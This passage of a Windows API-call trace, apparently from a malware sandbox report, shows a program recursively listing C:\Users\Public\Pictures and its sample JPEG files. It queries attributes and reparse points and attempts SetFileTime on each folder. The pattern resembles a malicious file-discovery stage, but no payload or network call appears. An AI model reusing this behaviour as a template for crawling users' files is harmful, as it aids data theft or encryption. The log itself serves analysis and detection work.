Flags=0x0, BaseAddress=0x12fdf18) returned 1 [0093.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.129] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0093.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.130] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0093.130] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.130] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.131] NtClose (Handle=0x15c) returned 0x0 [0093.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdf18 [0093.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdfa0 [0093.132] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0093.132] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.132] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9b78 [0093.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe600 [0093.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.134] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="")) returned 1 [0093.134] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="")) returned 0 [0093.134] GetLastError () returned 0x12 [0093.134] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0093.134] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.134] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.134] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.134] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="")) returned 1 [0093.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures" (normalized: "c:\\users\\public\\pictures\\sample pictures"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.135] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures" (normalized: "c:\\users\\public\\pictures\\sample pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0093.135] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0093.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.136] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0093.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.136] NtClose (Handle=0x15c) returned 0x0 [0093.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe688 [0093.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe820 [0093.137] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0093.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="")) returned 1 [0093.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9b98 [0093.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe930 [0093.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.175] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0093.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9bb8 [0093.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe9b8 [0093.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.177] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9bd8 [0093.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fea40 [0093.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.180] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="")) returned 1 [0093.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9bf8 [0093.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12feac8 [0093.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.182] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="")) returned 1 [0093.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9c18 [0093.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12feb50 [0093.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.184] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0093.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9c38 [0093.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12febd8 [0093.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.186] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="")) returned 1 [0093.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9c58 [0093.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fec60 [0093.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.188] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0093.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9c78 [0093.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fece8 [0093.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.190] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0093.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9c98 [0093.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fed70 [0093.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe8a8) returned 1 [0093.192] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0093.193] GetLastError () returned 0x12 [0093.193] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0093.193] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, 